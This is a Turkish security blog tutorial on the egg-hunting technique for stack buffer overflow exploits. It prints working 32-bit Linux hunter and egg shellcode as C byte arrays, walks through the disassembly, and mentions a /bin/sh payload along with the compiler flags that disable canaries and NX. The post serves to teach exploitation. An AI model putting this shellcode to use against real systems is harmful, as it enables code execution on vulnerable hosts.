Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Stack Overflow’da Egg Hunting Tekniği

1

Bu yazımda yığın taşması zafiyetinin istismarında kullanılan Egg Hunting adı verilen bir teknikten bahsedeceğim.

Adını bir paskalya bayramı geleneğinden alan bu teknik shellcode’umuzu yerleştireceğimiz buffer’da yeterli alan yoksa kullanılır. “Execve /bin/sh” gibi ufak boyutlu shellcode’larda bu tür sorunlar genelde ortaya çıkmasa da reverse-tcp gibi görece daha büyük shellcode’lar kullanıldığında, bunun üstünede IPS benzeri güvenlik önlemlerini atlatmak için encoding işlemi yapıldığında shellcode’umuz gittikçe daha büyük boyutlara ulaşmaktadır ve şayet yeterli alan bulunmuyorsa Egg hunting gibi tekniklere başvurulmalıdır.

3

Bu tekniğin temel mantığı asıl çalıştırmak istediğimiz shellcode’un önüne etiket görevini üstlenecek bir string (yabancı kaynaklarda TAG olarak geçer) koymak ve oluşturulan bu EGG shellcode‘unu istismar edilecek programın erişebileceği bir hafıza alanına yerleştirmek (örneğin programın aldığı başka bir parametreye girdi olarak verilebilir). Ardından zafiyeti istismar edip program akışını Hunter shellcode adı verilen ikinci bir shellcode’a yönlendirmek. Bu ikinci shellcode’un görevi ise uygulamaya ait bütün belleği tarayıp bizim az önce yerleştirdiğimiz etiketi aramak, bulduğunda ise “etiketin_adresi+len(etiket)” adresine yani asıl shellcode’umuzun bulunduğu adrese atlayıp programı oradan çalıştırmaya devam etmek.

Şimdi örnek olarak burada yer alan shellcode’u inceleyelim…

char hunter[] =
"\xeb\x16"
"\x58"
"\x40"
"\x81\x78\xf8\x65\x67\x67\x20"
"\x75\xf6"
"\x81\x78\xfc\x6d\x61\x72\x6b"
"\x75\xed"
"\xff\xe0"
"\xe8\xe5\xff\xff\xff";
 
char egg[] =
"egg mark"
"\x83\xe8\x08"
"\x89\xc1"
"\xba\x08\x00\x00\x00"
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80";
 
int main(){
     (*(void  (*)()) hunter)();
     return 0;
}

Yukarıdaki kod içerisinde demin bahsettiğim gibi hunter ve egg isimli iki adet shellcode bulunuyor. Bunlardan egg bizim asıl çalıştırmak istediğimiz shellcode önüne etiket olarak “egg mark” stringi yerleştirilmiş. Örnek teşkil etmesi açısından basit bir kod parçası seçilmiş isterseniz disassemble edip inceleyebilirsiniz. Biz hunter shellcode’unu disassemble edip inceleyelim.

NOT: Şayet assembly’e aşinalığınız yok ise devam etmeden önce blogumda yazdığım şu yazımı ve burada yazdığım şu yazımı okumanızı tavsiye ediyorum.

4

Gördüğünüz üzere shellcode gayet basit bir yapıda. Burada yapılan ilk işlem hafızanın taranmaya başlanacağı ilk adresi elde etmektir. Developer bunu call-pop ikilisini kullanarak elde etmiş. Şöyle ki;

call
pop eax
/* ...meali... */
push eip
...
pop eax

Ilk adresi elde ettikten sonra bu adresten itibaren hafızamızı taramaya çalışıyoruz. loc 003 te göreceğiniz üzere bu adres bir döngü içerisinde her seferinde değeri 1 arttırılarak iki aşamalı bir şekilde önce bu adresin 8 byte gerisindeki, ardından 4 byte gerisindeki adresin içerisindeki değerler kontrol ediliyor. Kontrol edilen değerlerin ne olduğuna bir bakalım. (kod içerisinde bu değerler Little Endian DWORD halinde yer alıyor)

0x20676765 -> "\x65\x67\x67\x20" -> "egg "
0x6b72616d -> "\x6d\x61\x72\x6b" -> "mark"

Bu stringler birleştirildiğinde ortaya Egg shellcode‘unun önüne yerleştirilen etiket ortaya çıkıyor yani: “egg mark”. Şayet bu iki kontrolün ikisi de geçilir ise bu adrese atlanılıyor ve program çalışmaya oradan devam ediyor. Aksi takdirde döngünün başına dönülüyor. Gördüğünüz gibi mantığı gayet basit, lakin bu teknikte asıl shellcode’umuzun bulunması biraz vakit alabiliyor onu da söylemeden geçmeyelim. Hunter‘ın kaba kodu ise şu şekilde:

Pseudo-code:

int *p = $eip

while True
	p++
	if (*p == 0x20676765) /* "egg " */
		if (*(p+4) == 0x6b72616d) /* "mark" */
			p()

Şimdi kaynak kodunu derleyip çalıştıralım ve ne olacağına bakalım.

NOT: Asıl shellcode’u execve /bin/sh shellcode ile değiştirdim. Yani işlem başarılı olursa uygulama bize shell verecek.

5

İşlem başarılı. Belirtmekte fayda var şuanda herhangi bir istismar işlemi yok, yalnızca exploit-db de yer alan shellcode’un çalışıp çalışmadığını denedik. Gcc ile birlikte kullandığım opsiyonlardan -m32 uygulamanın 32bit olarak derleneceğini, -fno-stack-protector bir stack overflow koruması olan CANARY‘nin devre dışı olacağını, -z execstack ise diğer bir buffer overflow koruması olan NX‘in devre dışı olacağını belirtmekte. Şayet uygulamamızı bu korumaları devredışı bırakmadan derlersek çalıştırdığımızda aşağıdaki gibi bir görüntüyle karşılaşırız.

6

Bunun sebebine başka bir yazımda değineceğim. Bir sonraki yazıda görüşmek üzere.

İleri okuma:

About CanYouPwnMe

Hero!

Follow Me